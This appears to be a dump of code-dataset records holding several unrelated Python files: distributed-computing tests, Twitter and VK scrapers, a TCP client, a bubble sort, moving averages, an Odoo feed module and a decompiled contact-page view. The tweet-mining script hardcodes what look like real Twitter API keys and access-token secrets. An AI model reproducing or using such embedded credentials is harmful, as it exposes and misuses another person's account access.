1)\n y = e.submit(inc, x)\n z = e.submit(div, 1, 0)\n yield y._result()\n\n assert set(s.who_has) == {x.key, y.key}\n\n f = yield e._restart()\n assert f is e\n\n assert len(s.stacks) == 2\n assert len(s.processing) == 2\n\n assert not s.who_has\n\n assert x.cancelled()\n assert y.cancelled()\n assert z.cancelled()\n assert z.key not in s.exceptions\n\n assert not s.who_wants\n assert not s.wants_what\n\n\n@gen_cluster(Worker=Nanny, executor=True)\ndef test_restart_cleared(e, s, a, b):\n x = 2 * delayed(1) + 1\n f = e.compute(x)\n yield _wait([f])\n assert s.released\n\n yield e._restart()\n\n for coll in [s.tasks, s.dependencies, s.dependents, s.waiting,\n s.waiting_data, s.who_has, s.restrictions, s.loose_restrictions,\n s.released, s.priority, s.exceptions, s.who_wants,\n s.exceptions_blame]:\n assert not coll\n\n\ndef test_restart_sync_no_center(loop):\n with cluster(nanny=True) as (s, [a, b]):\n with Executor(('127.0.0.1', s['port']), loop=loop) as e:\n x = e.submit(inc, 1)\n e.restart()\n assert x.cancelled()\n y = e.submit(inc, 2)\n assert y.result() == 3\n assert len(e.ncores()) == 2\n\n\ndef test_restart_sync(loop):\n with cluster(nanny=True) as (s, [a, b]):\n with Executor(('127.0.0.1', s['port']), loop=loop) as e:\n x = e.submit(div, 1, 2)\n x.result()\n\n assert sync(loop, e.scheduler.who_has)\n e.restart()\n assert not sync(loop, e.scheduler.who_has)\n assert x.cancelled()\n assert len(e.ncores()) == 2\n\n with pytest.raises(CancelledError):\n x.result()\n\n y = e.submit(div, 1, 3)\n assert y.result() == 1 / 3\n\n\ndef test_restart_fast(loop):\n with cluster(nanny=True) as (s, [a, b]):\n with Executor(('127.0.0.1', s['port']), loop=loop) as e:\n L = e.map(sleep, range(10))\n\n start = time()\n e.restart()\n assert time() - start < 5\n assert len(e.ncores()) == 2\n\n assert all(x.status == 'cancelled' for x in L)\n\n x = e.submit(inc, 1)\n assert x.result() == 2\n\n\n@gen_cluster(Worker=Nanny, executor=True)\ndef test_fast_kill(e, s, a, b):\n L = e.map(sleep, range(10))\n\n start = time()\n yield e._restart()\n assert time() - start < 5\n\n assert all(x.status == 'cancelled' for x in L)\n\n x = e.submit(inc, 1)\n result = yield x._result()\n assert result == 2\n\n\n@gen_cluster(Worker=Nanny)\ndef test_multiple_executors_restart(s, a, b):\n e1 = Executor((s.ip, s.port), start=False)\n yield e1._start()\n e2 = Executor((s.ip, s.port), start=False)\n yield e2._start()\n\n x = e1.submit(inc, 1)\n y = e2.submit(inc, 2)\n xx = yield x._result()\n yy = yield y._result()\n assert xx == 2\n assert yy == 3\n\n yield e1._restart()\n\n assert x.cancelled()\n assert y.cancelled()\n\n yield e1._shutdown(fast=True)\n yield e2._shutdown(fast=True)\n\n\n@gen_cluster(Worker=Nanny, executor=True)\ndef test_forgotten_futures_dont_clean_up_new_futures(e, s, a, b):\n x = e.submit(inc, 1)\n yield e._restart()\n y = e.submit(inc, 1)\n del x\n import gc; gc.collect()\n yield gen.sleep(0.1)\n yield y._result()\n\n\n@gen_cluster(executor=True, timeout=60)\ndef test_broken_worker_during_computation(e, s, a, b):\n n = Nanny(s.ip, s.port, ncores=2, loop=s.loop)\n n.start(0)\n\n start = time()\n while len(s.ncores) < 3:\n yield gen.sleep(0.01)\n assert time() < start + 5\n\n L = e.map(inc, range(256))\n for i in range(8):\n L = e.map(add, *zip(*partition_all(2, L)))\n\n from random import random\n yield gen.sleep(random() / 2)\n n.process.terminate()\n yield gen.sleep(random() / 2)\n n.process.terminate()\n\n result = yield e._gather(L)\n assert isinstance(result[0], int)\n\n yield n._close()\n\n\n@gen_cluster(executor=True, Worker=Nanny)\ndef test_restart_during_computation(e, s, a, b):\n xs = [delayed(slowinc)(i, delay=0.01) for i in range(50)]\n ys = [delayed(slowinc)(i, delay=0.01) for i in xs]\n zs = [delayed(slowadd)(x, y, delay=0.01) for x, y in zip(xs, ys)]\n total = delayed(sum)(zs)\n result = e.compute(total)\n\n yield gen.sleep(0.5)\n assert s.rprocessing\n yield e._restart()\n assert not s.rprocessing\n\n assert len(s.ncores) == 2\n assert not s.task_state\n","sub_path":"distributed/tests/test_worker_failure.py","file_name":"test_worker_failure.py","file_ext":"py","file_size_in_byte":7175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"424876437","text":"##!/usr/bin/python3.4\nimport sys\nsys.path.insert(0, '../master')\nimport database\n\nimport time\nimport configparser\nimport tweepy\nimport numpy as np\nnp.set_printoptions(threshold=np.nan)\nimport urllib.request as urllib2\n\nclass User_Features():\n def __init__(self, db, api):\n self.db = db\n self.api = api\n \n def check_Internet_Connection(self): \n #print('checking internet connection ....')\n status = \"ACTIVE\"\n try:\n urllib2.urlopen('https://twitter.com/', timeout=1)\n except urllib2.URLError:\n status = \"INACTIVE\"\n duration = 3\n print('INTERNET NOT PRESENT. It will Retry itself after '+str(duration)+' seconds')\n time.sleep(duration)\n self.check_Internet_Connection()\n return status\n \n def read_user_features(self):\n self.db.delete_user_based()\n \n verified_rank = 0\n url_exists_rank = 0\n desc_exists_rank = 0\n nr_tweets = 0\n nr_followers = 0\n nr_friends = 0\n user_row = \"0 0 0 0 0 0 0\" # these values will be removed as a removal of 1st row after the matrix creation\n data = \"\"\n\n cursor = self.db.get_ids_from_tweets()\n user_count = 0\n \n for row in cursor:\n tweetId = row[0]\n userId = row[1]\n user_count = user_count + 1\n print('User Count :'+str(user_count) +' | '+'Currently Processing for User :'+str(userId))\n\n try:\n status_value = self.check_Internet_Connection()\n if 'ACTIVE' in status_value:\n data = self.api.get_user(userId)\n else:\n while (status_value ==\"INACTIVE\"):\n self.check_Internet_Connection() \n except tweepy.TweepError:\n print('Information for tweet', tweetId,'cannot be retrieved and it was deleted from database') \n self.db.delete_tweet(tweetId)\n self.db.delete_from_content(tweetId)\n\n if \"True\" in str(data.verified):\n verified_rank = 1 # provide rank 1 if the user is a verified user\n else:\n verified_rank = 0 \n \n if data.description is not None:\n desc_exists_rank = 1 # provide rank 1 if the user account has description\n else:\n verified_rank = 0 \n \n if data.url is not None:\n url_exists_rank = 1 # provide rank 1 if the user account has url attached to the account\n else:\n verified_rank = 0 \n\n nr_tweets = data.statuses_count\n nr_followers = data.followers_count\n nr_friends = data.friends_count \n \n ##Create an array with the features\n features = [userId, verified_rank, desc_exists_rank, url_exists_rank, nr_tweets, nr_followers, nr_friends ]\n \n ##Call the method from database.py file\n self.db.insert_user_based(features)\n self.db.commit_db()\n \n user_row = user_row +' ;' +str(userId)+' ' +str(verified_rank)+' ' +str(desc_exists_rank)+' ' +str(url_exists_rank)+' '+str(nr_tweets)+' '+str(nr_followers)+' '+str(nr_friends)\n\n verified_rank = 0\n url_exists_rank = 0\n desc_exists_rank = 0\n nr_tweets = 0\n nr_followers = 0\n nr_friends = 0\n data = \"\"\n #print(user_row)\n\n user_matrix = np.matrix(user_row)\n user_matrix = np.delete(user_matrix, (0), axis=0)\n #User matrix is now stored in object user_matrix\n #print(user_matrix)\n return True\n\ndef main(db_name):\n print(\"\\n USER BASED ANALYSIS\\n\")\n ##establish the connection with the twitter api by reading credentials from config.ini file\n config = configparser.ConfigParser()\n config.read('../user.ini')\n \n consumer_key = config.get('Twitter', 'consumer_key')\n consumer_secret = config.get('Twitter', 'consumer_secret')\n access_token = config.get('Twitter', 'access_token')\n access_secret = config.get('Twitter', 'access_secret')\n\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_secret)\n api = tweepy.API(auth, wait_on_rate_limit = True, wait_on_rate_limit_notify = True)\n\n db = database.main(db_name)\n db.connect()\n \n obj = User_Features(db, api)\n obj.check_Internet_Connection()\n obj.read_user_features()\n \n db.close_db()\n\nif __name__ == '__main__':\n main()\n","sub_path":"user-based/user_features.py","file_name":"user_features.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"588500907","text":"from apps.API_VK.command.CommonCommand import CommonCommand\n\nMAX_QUOTES = 20\n\nclass Bash(CommonCommand):\n def __init__(self):\n names = [\"баш\"]\n help_text = \"Баш - рандомная цитата с баша\"\n detail_help_text = \"Баш [(N)] - рандомная цитата с баша. N - количество цитат. Максимум 25\"\n super().__init__(names, help_text, detail_help_text, int_args=[0])\n\n def start(self):\n quotes_count = 5\n if self.vk_event.args:\n self.parse_args('int')\n quotes_count = self.vk_event.args[0]\n self.check_number_arg_range(quotes_count, 1, MAX_QUOTES)\n return parse_bash(quotes_count)\n\n\ndef parse_bash(quotes_count):\n try:\n import requests\n from lxml import html\n r = requests.get('http://bash.im/random')\n doc = html.document_fromstring(r.text)\n html_quotes = doc.xpath('//*[@class=\"quotes\"]/article/div/div[@class=\"quote__body\"]')\n bash_quotes = []\n for i in range(quotes_count):\n html_quote = \"\\n\".join(html_quotes[i].xpath('text()'))\n bash_quotes.append(html_quote.strip('\\n').strip(' ').strip('\\n'))\n\n return \"\\n——————————————————\\n\".join(bash_quotes)\n except Exception as e:\n print(e)\n return \"Ошибка\"\n","sub_path":"apps/API_VK/command/commands/Bash.py","file_name":"Bash.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"258820208","text":"#!/usr/bin/python\n\nfrom logger import logger\nfrom termcolor import colored\nimport sys\nimport socket\nimport threading\nimport queue\nimport subprocess\n\nclass tcpserver:\n\n\tdef __init__( self,\n\t\t\t\tlport = 2706,\n\t\t\t\trhost = \"google.com\",\n\t\t\t\trport = 80,\n\t\t\t\tbuffer_size = 4096,\n\t\t\t\tloglevel = 6,\n\t\t\t\tlogfile = None,\n\t\t\t\tq = None ):\n\n\t\tself.lport = lport\n\t\tself.rhost = rhost\n\t\tself.rport = rport\n\t\tself.buffer_size = buffer_size\n\t\tself.logfile = logfile\n\t\tself.loglevel = loglevel\n\t\tself.accept_msg = True\n\t\tself.log = None\n\t\tself.client_thread = None\n\t\tself.client_sock = None\n\t\tself.server_sock = None\n\t\tself.q = None\n\n\t\tif q is not None :\n\t\t\tself.q = q\n\t\telse :\n\t\t\tself.q = queue.Queue()\n\n\tdef __getmsgs ( self, q , buffer_size=4096 ):\n\n\t\t# Child function for getmessages\n\t\trecv_len = 1\n\t\tresponse = \"\"\n\n\t\twhile self.accept_msg:\n\n\t\t\twhile recv_len:\n\t\t\t\tbuffer = self.client_sock.recv ( buffer_size )\n\t\t\t\trecv_len = len ( buffer )\n\t\t\t\tresponse += buffer\n\n\t\t\t\tif recv_len < buffer_size:\n\t\t\t\t\tbreak;\n\n\t\t\tself.log.info ( str(response) )\n\t\t\tself.q.put ( response )\n\n\t\tq.put ( msgs )\n\t\treturn True\n\n\tdef start ( self ):\n\n\t\tself.log = logger ( verbose=self.loglevel , logfile=self.logfile, tmstp_date=False )\n\n\t\tself.log.info ( \"Starting full duplex communication\" )\n\n\t\tself.log.info ( \"Creating client sock\" )\n\t\tself.log.info ( \"Host : \" + self.log.green_mark ( self.rhost ) )\n\t\tself.log.info ( \"Port : \" + self.log.green_mark ( self.rport ) )\n\n\t\ttry:\n\t\t\tself.client_sock = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )\n\t\t\tself.client_sock.connect ( (self.rhost, self.rport) )\n\t\t\tself.log.success ( \"Connected to server.\" )\n\t\t\tself.log.info ( \"Start to listen.\" )\n\n\t\t\tself.client_thread = threading.Thread ( target=self.__getmsgs , args=[ self.q ,self.buffer_size ] )\n\t\t\tself.client_thread.start ()\n\n\t\texcept:\n\n\t\t\tself.log.danger ( \"TCP connection error\" )\n\t\t\tself.log.fail ( str (sys.exc_info()[1]) )\n\n\tdef transmit ( self , buffer ):\n\t\tif self.client_sock is not None and len(buffer):\n\t\t\tself.client_sock.send( buffer )\n\n\tdef getmessages ( self ):\n\t\treturn self.q.get()\n\n\n#d = tcpserver( loglevel = 6, logfile=\"pepe.log\" )\n#d.start()\n\n# Sending and reading a request \n#d.transmit (\"GET / HTTP/1.1\\r\\nHost: google.com\\r\\n\\r\\n\")\n#d.transmit (\"GET / HTTP/1.1\\r\\nHost: google.com\\r\\n\\r\\n\")\n#d.transmit (\"GET / HTTP/1.1\\r\\nHost: google.com\\r\\n\\r\\n\")\n\n#print d.getmessages () \n\n","sub_path":"myModules/tcpserver.py","file_name":"tcpserver.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228927213","text":"def bubble_sort(seq):\n changed = True\n while True:\n if not changed:break\n changed = False\n for i in range(len(seq) - 1):\n if seq[i] > seq[i+1]:\n seq[i], seq[i+1] = seq[i+1], seq[i]\n changed = True\n return seq\n\n\nif __name__ == \"__main__\":\n n=int(input())\n seq=[]\n for i in range (0,n):\n seq.append(int(input()))\n seq=bubble_sort(seq)\n for x in seq:\n print(x)\n","sub_path":"[Contest]/[20150725]Magic-Lines-July-2015/Fixing-bubble-sort.py","file_name":"Fixing-bubble-sort.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"425149007","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 15 22:30:06 2017\n\n@author: ShengliangDai\n\"\"\"\n\nimport pandas as pd\nimport tweepy\nfrom time import sleep\n\napi_key = \"tDTMJtC7sAz39hEj4rX5vb0sJ\" # <---- Add your API Key\napi_secret = \"5D9lXFpNr5Mpr8D4SQCak4pDH4NpzvyhmxXT4h5lxRYGqtfDHg\" # <---- Add your API Secret\naccess_token = \"1196013206-P6T1RgOl9Dwq70RUNXrczzjSxsuQtrlKimQBGmn\" # <---- Add your access token\naccess_token_secret = \"hBq8zik4WntPTB2hZEfSpVZNA0F7zAtj3mKjvb4GHyklz\" # <---- Add your access token secret\n\nauth = tweepy.OAuthHandler(api_key, api_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\n\nresults = []\nquery = [\"freezing rain\"]\nnum_search = 36\nfor n in range(num_search):\n print(\"The {} times search\".format(n))\n for tweet in tweepy.Cursor(api.search, q=query).items(500):\n results.append(tweet)\n if n == num_search - 1:\n break\n print(\"Sleep 20 minutes...{} times left\".format(num_search - 1 - n))\n sleep(1200)\n\ndef process_results(results):\n id_list = [tweet.id for tweet in results]\n data_set = pd.DataFrame(id_list, columns=[\"id\"])\n\n # Processing Tweet Data\n\n data_set[\"text\"] = [tweet.text for tweet in results]\n media = []\n expanded_url = []\n for tweet in results:\n if \"media\" in tweet.entities:\n for image in tweet.entities[\"media\"]:\n media.append(image[\"media_url\"])\n if 'video' in image[\"expanded_url\"]:\n expanded_url.append(image[\"expanded_url\"]) \n else:\n expanded_url.append(None)\n else:\n media.append(None)\n expanded_url.append(None)\n data_set[\"media_url\"] = media\n data_set[\"video_url\"] = expanded_url\n \n data_set[\"created_at\"] = [tweet.created_at for tweet in results]\n data_set[\"retweet_count\"] = [tweet.retweet_count for tweet in results]\n data_set[\"favorite_count\"] = [tweet.favorite_count for tweet in results]\n data_set[\"source\"] = [tweet.source for tweet in results]\n\n # Processing User Data\n data_set[\"user_id\"] = [tweet.author.id for tweet in results]\n data_set[\"user_screen_name\"] = [tweet.author.screen_name for tweet in results]\n data_set[\"user_name\"] = [tweet.author.name for tweet in results]\n data_set[\"user_created_at\"] = [tweet.author.created_at for tweet in results]\n data_set[\"user_description\"] = [tweet.author.description for tweet in results]\n data_set[\"user_followers_count\"] = [tweet.author.followers_count for tweet in results]\n data_set[\"user_friends_count\"] = [tweet.author.friends_count for tweet in results]\n data_set[\"user_location\"] = [tweet.author.location for tweet in results]\n data_set[\"user_coordinates\"] = [tweet.coordinates for tweet in results]\n\n return data_set\ndata_set = process_results(results)\ndata_set.to_csv(\"freezing rain-jan19.csv\")\nprint(\"Finish!\")","sub_path":"twitter-api/ice-storm-mining.py","file_name":"ice-storm-mining.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"86886302","text":"# Moving Averages Code\n\n# Load the necessary packages and modules\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport data.stock as st\n\n\n# Simple Moving Average \ndef SMA(data, ndays):\n SMA = pd.Series(data['close'].rolling(ndays).mean(), name='SMA')\n # SMA = pd.Series(pd.rolling_mean(data['close'], ndays), name='SMA')\n data = data.join(SMA)\n return data\n\n\n# Exponentially-weighted Moving Average\ndef EWMA(data, ndays):\n EMA = pd.Series(pd.DataFrame.ewm(data['close'],\n span=ndays,\n min_periods=ndays - 1).mean(),\n name='EWMA')\n data = data.join(EMA)\n return data\n\n\n# Retrieve the Nifty data from Yahoo finance:\n# XSHE000002_data = st.get_csv_data('000002.XSHE', 'price')\n# close = XSHE000002_data['close']\n#\n# # Compute the 50-day SMA for NIFTY\n# n = 50\n# SMA_NIFTY = SMA(XSHE000002_data, n)\n# SMA_NIFTY = SMA_NIFTY.dropna()\n# SMA = SMA_NIFTY['SMA']\n\n\ndef get_sma(stock_code, ndays):\n stock_data = st.get_csv_data(stock_code, 'price')\n sma_data = SMA(stock_data, ndays)\n sma_data = sma_data.dropna()\n return sma_data['SMA']\n\n\ndef get_ewma(stock_code, ndays):\n stock_data = st.get_csv_data(stock_code, 'price')\n ewma_data = EWMA(stock_data, ndays)\n ewma_data = ewma_data.dropna()\n return ewma_data['EWMA']\n\n# Compute the 200-day EWMA for NIFTY\n# ew = 200\n# EWMA_NIFTY = EWMA(XSHE000002_data, ew)\n# EWMA_NIFTY = EWMA_NIFTY.dropna()\n# EWMA = EWMA_NIFTY['EWMA_200']\n\n# Plotting the NIFTY Price Series chart and Moving Averages below\n# plt.figure(figsize=(9, 5))\n# plt.plot(XSHE000002_data['close'], lw=1, label='NSE Prices')\n# plt.plot(SMA, 'g', lw=1, label='50-day SMA (green)')\n# plt.plot(EWMA, 'r', lw=1, label='200-day EWMA (red)')\n# plt.legend(loc=2, prop={'size': 11})\n# plt.grid(True)\n# plt.setp(plt.gca().get_xticklabels(), rotation=30)\n# plt.show()\n","sub_path":"feature/MA.py","file_name":"MA.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"352603651","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/Mardix/Dropbox/Projects/Python/harambe/harambe/contrib/views/contact_page.py\n# Compiled at: 2017-02-26 06:59:25\n\"\"\"\nContact Page\n\"\"\"\nfrom harambe import Harambe, _, get_config, url_for, abort, request, utils, flash_success, flash_error, flash_data, get_flash_data, send_mail, recaptcha, page_meta, redirect, decorators as deco, exceptions\nfrom harambe.contrib.app_option import AppOption\nimport logging\n__version__ = '1.0.0'\n__options__ = {}\n\nclass Main(Harambe):\n app_option = AppOption(__name__)\n\n @classmethod\n def _register(cls, app, **kwargs):\n \"\"\" Reset some params \"\"\"\n nav = __options__.get('nav', {})\n nav.setdefault('title', 'Contact')\n nav.setdefault('visible', True)\n nav.setdefault('order', 100)\n title = nav.pop('title')\n deco.nav_title.add(title, cls.index, **nav)\n kwargs['base_route'] = __options__.get('route', '/contact/')\n cls.app_option.init({'recipients': __options__.get('recipients'), \n 'success_message': __options__.get('success_message', 'Message sent. Thanks!')}, 'Contact Page Options')\n super(cls, cls)._register(app, **kwargs)\n\n @deco.route('/', methods=['GET', 'POST'])\n def index(self):\n recipients = self.app_option.get('recipients') or __options__.get('recipients') or get_config('CONTACT_EMAIL')\n if not recipients:\n abort(500, 'ContactPage missing email recipient')\n success_message = self.app_option.get('success_message') or __options__.get('success_message')\n return_to = __options__.get('return_to', None)\n if return_to:\n if '/' not in return_to:\n return_to = url_for(return_to)\n else:\n return_to = url_for(self)\n if request.method == 'POST':\n email = request.form.get('email')\n subject = request.form.get('subject')\n message = request.form.get('message')\n name = request.form.get('name')\n try:\n if recaptcha.verify():\n if not email or not subject or not message:\n raise exceptions.AppError('All fields are required')\n elif not utils.is_email_valid(email):\n raise exceptions.AppError('Invalid email address')\n else:\n try:\n send_mail(to=recipients, reply_to=email, mail_from=email, mail_subject=subject, mail_message=message, mail_name=name, template=__options__.get('template', 'contact-us.txt'))\n flash_data('ContactPage:EmailSent')\n except Exception as ex:\n logging.exception(ex)\n raise exceptions.AppError('Unable to send email')\n\n else:\n raise exceptions.AppError('Security code is invalid')\n except exceptions.AppError as e:\n flash_error(e.message)\n\n return redirect(self)\n else:\n title = __options__.get('title', _('Contact Us'))\n page_meta(title)\n fd = get_flash_data()\n return {'title': title, \n 'email_sent': True if fd and 'ContactPage:EmailSent' in fd else False, \n 'success_message': success_message, \n 'return_to': return_to}","sub_path":"pycfiles/Harambe-0.10.0.tar/contact_page.py","file_name":"contact_page.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"380040277","text":"# -*- coding: utf-8 -*-\n##############################################################################\n# Copyright (c) 2021-Present IjVine Corporation ()\n\n##############################################################################\nfrom odoo import api,fields,models\nfrom odoo.addons.ijvine_ebay_base.tools import extract_list as EL\n\nfrom logging import getLogger\n_logger = getLogger(__name__)\n\nPartnerFields = [\n\t'name',\n\t'store_id',\n\n\t'email',\n\t'phone',\n\t'mobile',\n\t'website',\n\t'last_name',\n\t'street',\n\t'street2',\n\t'city',\n\t'zip',\n\t'state_id',\n\t'state_name',\n\t'country_id',\n\t'type',\n\t'parent_id'\n]\n\nclass PartnerFeed(models.Model):\n\t_name = 'partner.feed'\n\t_inherit = 'ijvine.feed'\n\t_description = 'Partner Feed'\n\n\temail = fields.Char('Email')\n\tphone = fields.Char('Phone')\n\tmobile = fields.Char('Mobile')\n\twebsite = fields.Char('Website URL')\n\tlast_name = fields.Char('Last Name')\n\tstreet = fields.Char('Street')\n\tstreet2 = fields.Char('street2')\n\tcity = fields.Char('City')\n\tzip = fields.Char('Zip')\n\tstate_name = fields.Char('State Name')\n\tstate_id = fields.Char('State Code')\n\tcountry_id = fields.Char('Country Code')\n\tparent_id = fields.Char('Store Parent ID')\n\ttype = fields.Selection(\n\t\tselection = [\n\t\t\t('contact','Contact'),\n\t\t\t('invoice','Invoice'),\n\t\t\t('delivery','Delivery'),\n\t\t],\n\t\tdefault = 'contact',\n\t\trequired = True\n\t)\n\n\t@api.model\n\tdef _create_feeds(self,partner_data_list):\n\t\tsuccess_ids,error_ids = [],[]\n\t\tself = self.contextualize_feeds('partner')\n\t\tfor partner_data in partner_data_list:\n\t\t\tfeed = self._create_feed(partner_data)\n\t\t\tif feed:\n\t\t\t\tself += feed\n\t\t\t\tsuccess_ids.append(partner_data.get('store_id'))\n\t\t\telse:\n\t\t\t\terror_ids.append(partner_data.get('store_id'))\n\t\treturn success_ids,error_ids,self\n\n\tdef _create_feed(self,partner_data):\n\t\tcontact_data_list = partner_data.pop('contacts',[])\n\t\tchannel_id = partner_data.get('channel_id')\n\t\tstore_id = str(partner_data.get('store_id'))\n\t\tfeed_id = self._context.get('partner_feeds').get(channel_id,{}).get(store_id)\n# Todo(Pankaj Kumar): Change feed field from state_id,country_id to state_code,country_code\n\t\tpartner_data['state_id'] = partner_data.pop('state_code',False)\n\t\tpartner_data['country_id'] = partner_data.pop('country_code',False)\n# & remove this code\n\t\ttry:\n\t\t\tif feed_id:\n\t\t\t\tfeed = self.browse(feed_id)\n\t\t\t\tpartner_data.update(state='draft')\n\t\t\t\tfeed.write(partner_data)\n\t\t\telse:\n\t\t\t\tfeed = self.create(partner_data)\n\t\texcept Exception as e:\n\t\t\t_logger.error(\n\t\t\t\t\"Failed to create feed for Customer: \"\n\t\t\t\tf\"{partner_data.get('store_id')}\"\n\t\t\t\tf\" Due to: {e.args[0]}\"\n\t\t\t)\n\t\telse:\n\t\t\tfor contact_data in contact_data_list:\n\t\t\t\tfeed+=self._create_feed(contact_data)\n\t\t\treturn feed\n\n\tdef import_partner(self,channel_id):\n\t\tself.ensure_one()\n\t\tmessage = \"\"\n\t\tstate = 'done'\n\t\tupdate_id = None\n\t\tcreate_id = None\n\n\t\tvals = EL(self.read(PartnerFields))\n\t\t_type =vals.get('type')\n\t\tstore_id = vals.pop('store_id')\n\t\tvals.pop('website_message_ids','')\n\t\tvals.pop('message_follower_ids','')\n\t\tmatch = channel_id.match_partner_mappings(store_id,_type)\n\t\tname = vals.pop('name')\n\t\tif not name:\n\t\t\tmessage+=\"
    Partner without name can't evaluated.\"\n\t\t\tstate = 'error'\n\t\tif not store_id:\n\t\t\tmessage+=\"
    Partner without store id can't evaluated.\"\n\t\t\tstate = 'error'\n\t\tparent_store_id = vals['parent_id']\n\t\tif parent_store_id:\n\t\t\tpartner_res = self.get_partner_id(parent_store_id,channel_id=channel_id)\n\t\t\tmessage += partner_res.get('message')\n\t\t\tpartner_id = partner_res.get('partner_id')\n\t\t\tif partner_id:\n\t\t\t\tvals['parent_id'] =partner_id.id\n\t\t\telse:\n\t\t\t\tstate = 'error'\n\t\tif state == 'done':\n\t\t\tcountry_id = vals.pop('country_id')\n\t\t\tif country_id:\n\t\t\t\tcountry_id = channel_id.get_country_id(country_id)\n\t\t\t\tif country_id:\n\t\t\t\t\tvals['country_id'] = country_id.id\n\t\t\tstate_id = vals.pop('state_id')\n\t\t\tstate_name = vals.pop('state_name')\n\n\t\t\tif (state_id or state_name) and country_id:\n\t\t\t\tstate_id = channel_id.get_state_id(state_id,country_id,state_name)\n\t\t\t\tif state_id:\n\t\t\t\t\tvals['state_id'] = state_id.id\n\t\t\tlast_name = vals.pop('last_name','')\n\t\t\tif last_name:\n\t\t\t\tvals['name'] = \"%s %s\" % (name, last_name)\n\t\t\telse:\n\t\t\t\tvals['name'] =name\n\t\tif match:\n\t\t\tif state =='done':\n\t\t\t\ttry:\n\t\t\t\t\tmatch.odoo_partner.write(vals)\n\t\t\t\t\tmessage +='
    Partner %s successfully updated'%(name)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tmessage += '
    %s' % (e)\n\t\t\t\t\tstate = 'error'\n\t\t\t\tupdate_id = match\n\n\t\t\telif state =='error':\n\t\t\t\tmessage+='Error while partner updated.'\n\n\t\telse:\n\t\t\tif state == 'done':\n\t\t\t\ttry:\n\t\t\t\t\terp_id = self.env['res.partner'].create(vals)\n\t\t\t\t\tcreate_id = channel_id.create_partner_mapping(erp_id, store_id,_type)\n\t\t\t\t\tmessage += '
    Partner %s successfully evaluated.'%(name)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tmessage += '
    %s' % (e)\n\t\t\t\t\tstate = 'error'\n\t\tself.set_feed_state(state=state)\n\t\tself.message = \"%s
    %s\" % (self.message, message)\n\t\treturn dict(\n\t\t\tcreate_id=create_id,\n\t\t\tupdate_id=update_id,\n\t\t\tmessage=message\n\t\t)\n\n\tdef import_items(self):\n\t\tself = self.contextualize_feeds('partner',self.mapped('channel_id').ids)\n\t\tself = self.contextualize_mappings('partner',self.mapped('channel_id').ids)\n\t\tupdate_ids=[]\n\t\tcreate_ids=[]\n\t\tmessage = ''\n\n\t\tfor record in self:\n\t\t\tchannel_id = record.channel_id\n\t\t\tsync_vals = dict(\n\t\t\tstatus ='error',\n\t\t\taction_on ='customer',\n\t\t\taction_type ='import',\n\t\t\t)\n\t\t\tres = record.import_partner(channel_id)\n\t\t\tmsz= res.get('message', '')\n\t\t\tmessage+=msz\n\t\t\tupdate_id = res.get('update_id')\n\t\t\tif update_id:\n\t\t\t\tupdate_ids.append(update_id)\n\t\t\tcreate_id = res.get('create_id')\n\t\t\tif create_id:\n\t\t\t\tcreate_ids.append(create_id)\n\t\t\tmapping_id = update_id or create_id\n\t\t\tif mapping_id:\n\t\t\t\tsync_vals['status'] = 'success'\n\t\t\t\tsync_vals['ecomstore_refrence'] = mapping_id.store_customer_id\n\t\t\t\tsync_vals['odoo_id'] = mapping_id.odoo_partner_id\n\t\t\tsync_vals['summary'] = msz\n\t\t\trecord.channel_id._create_sync(sync_vals)\n\t\tif self._context.get('get_mapping_ids'):\n\t\t\t return dict(\n\t\t\t\tupdate_ids=update_ids,\n\t\t\t\tcreate_ids=create_ids,\n\t\t\t)\n\t\tmessage = self.get_feed_result(feed_type='Partner')\n\t\treturn self.env['multi.channel.sale'].display_message(message)\n\n\t","sub_path":"ijvine_ebay/ijvine_ebay_base/models/feeds/partner_feed.py","file_name":"partner_feed.py","file_ext":"py","file_size_in_byte":6206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"212577240","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/Products/BastionCrypto/SignedDocument.py\n# Compiled at: 2012-03-06 02:26:51\n\"\"\"$id$\"\"\"\n__version__ = '$Revision: 67 $'[11:-2]\nimport AccessControl\nfrom zExceptions.unauthorized import Unauthorized\nfrom Acquisition import aq_base\nfrom Products.ATContentTypes.content.document import ATDocument as Document\nfrom Products.CMFCore.permissions import View, ModifyPortalContent\nfrom Permissions import sign_documents\nfrom DocumentTemplate.DT_Util import html_quote\nfrom zope.structuredtext.html import HTML\nfrom App.Common import rfc1123_date\nfrom Products.CMFCore.utils import getToolByName\nimport BastionPGPKey\nformat_stx = HTML()\ntry:\n from webdav.Lockable import wl_isLocked\nexcept ImportError:\n\n def wl_isLocked(ob):\n return 